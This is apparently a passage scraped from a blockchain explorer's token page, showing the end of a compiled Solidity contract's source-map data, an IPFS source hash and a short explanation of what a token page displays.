;;;;;12532:32:0;;;:7;;;;;;;;;;;:32;12579:15;;12575:345;;12643:15;;12611:62;;12628:4;;-1:-1:-1;;;;;12643:15:0;12661:11;12611:8;:62::i;:::-;12688:15;;:220;;-1:-1:-1;;;12688:220:0;;-1:-1:-1;;;;;12688:15:0;;;;:66;;:220;;12773:11;;12688:15;;12823:4;;12854;;12878:15;;12688:220;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12436:491;12381:546;:::o;13324:364::-;13437:15;;13405:62;;13422:4;;-1:-1:-1;;;;;13437:15:0;13455:11;13405:8;:62::i;:::-;13478:15;;:202;;-1:-1:-1;;;13478:202:0;;13550:4;13478:202;;;7351:34:1;7401:18;;;7394:34;;;13478:15:0;7444:18:1;;;7437:34;;;7487:18;;;7480:34;3580:42:0;7530:19:1;;;7523:44;13654:15:0;7583:19:1;;;7576:35;-1:-1:-1;;;;;13478:15:0;;;;:31;;13517:9;;7285:19:1;;13478:202:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13324:364;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:592::-;2412:6;2420;2428;2436;2444;2452;2460;2513:3;2501:9;2492:7;2488:23;2484:33;2481:53;;;2530:1;2527;2520:12;2481:53;-1:-1:-1;;2553:23:1;;;2623:2;2608:18;;2595:32;;-1:-1:-1;2674:2:1;2659:18;;2646:32;;2725:2;2710:18;;2697:32;;-1:-1:-1;2776:3:1;2761:19;;2748:33;;-1:-1:-1;2828:3:1;2813:19;;2800:33;;-1:-1:-1;2880:3:1;2865:19;2852:33;;-1:-1:-1;2299:592:1;-1:-1:-1;2299:592:1:o;2896:316::-;2973:6;2981;2989;3042:2;3030:9;3021:7;3017:23;3013:32;3010:52;;;3058:1;3055;3048:12;3010:52;-1:-1:-1;;3081:23:1;;;3151:2;3136:18;;3123:32;;-1:-1:-1;3202:2:1;3187:18;;;3174:32;;2896:316;-1:-1:-1;2896:316:1:o;3217:416::-;3282:6;3290;3343:2;3331:9;3322:7;3318:23;3314:32;3311:52;;;3359:1;3356;3349:12;3311:52;3398:9;3385:23;3417:31;3442:5;3417:31;:::i;:::-;3467:5;-1:-1:-1;3524:2:1;3509:18;;3496:32;3566:15;;3559:23;3547:36;;3537:64;;3597:1;3594;3587:12;3537:64;3620:7;3610:17;;;3217:416;;;;;:::o;3846:388::-;3914:6;3922;3975:2;3963:9;3954:7;3950:23;3946:32;3943:52;;;3991:1;3988;3981:12;3943:52;4030:9;4017:23;4049:31;4074:5;4049:31;:::i;:::-;4099:5;-1:-1:-1;4156:2:1;4141:18;;4128:32;4169:33;4128:32;4169:33;:::i;4499:127::-;4560:10;4555:3;4551:20;4548:1;4541:31;4591:4;4588:1;4581:15;4615:4;4612:1;4605:15;4631:168;4704:9;;;4735;;4752:15;;;4746:22;;4732:37;4722:71;;4773:18;;:::i;4804:217::-;4844:1;4870;4860:132;;4914:10;4909:3;4905:20;4902:1;4895:31;4949:4;4946:1;4939:15;4977:4;4974:1;4967:15;4860:132;-1:-1:-1;5006:9:1;;4804:217::o;5242:128::-;5309:9;;;5330:11;;;5327:37;;;5344:18;;:::i;5375:125::-;5440:9;;;5461:10;;;5458:36;;;5474:18;;:::i;5637:127::-;5698:10;5693:3;5689:20;5686:1;5679:31;5729:4;5726:1;5719:15;5753:4;5750:1;5743:15;5769:251;5839:6;5892:2;5880:9;5871:7;5867:23;5863:32;5860:52;;;5908:1;5905;5898:12;5860:52;5940:9;5934:16;5959:31;5984:5;5959:31;:::i;6025:980::-;6287:4;6335:3;6324:9;6320:19;6366:6;6355:9;6348:25;6392:2;6430:6;6425:2;6414:9;6410:18;6403:34;6473:3;6468:2;6457:9;6453:18;6446:31;6497:6;6532;6526:13;6563:6;6555;6548:22;6601:3;6590:9;6586:19;6579:26;;6640:2;6632:6;6628:15;6614:29;;6661:1;6671:195;6685:6;6682:1;6679:13;6671:195;;;6750:13;;-1:-1:-1;;;;;6746:39:1;6734:52;;6841:15;;;;6806:12;;;;6782:1;6700:9;6671:195;;;-1:-1:-1;;;;;;;6922:32:1;;;;6917:2;6902:18;;6895:60;-1:-1:-1;;;6986:3:1;6971:19;6964:35;6883:3;6025:980;-1:-1:-1;;;6025:980:1:o;7622:306::-;7710:6;7718;7726;7779:2;7767:9;7758:7;7754:23;7750:32;7747:52;;;7795:1;7792;7785:12;7747:52;7824:9;7818:16;7808:26;;7874:2;7863:9;7859:18;7853:25;7843:35;;7918:2;7907:9;7903:18;7897:25;7887:35;;7622:306;;;;;:::o

Swarm Source

ipfs://cd3a5b8b8d7229a1ae12196fd3e63a6dae8b80086b9d4128efc1e4239fe39ac9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.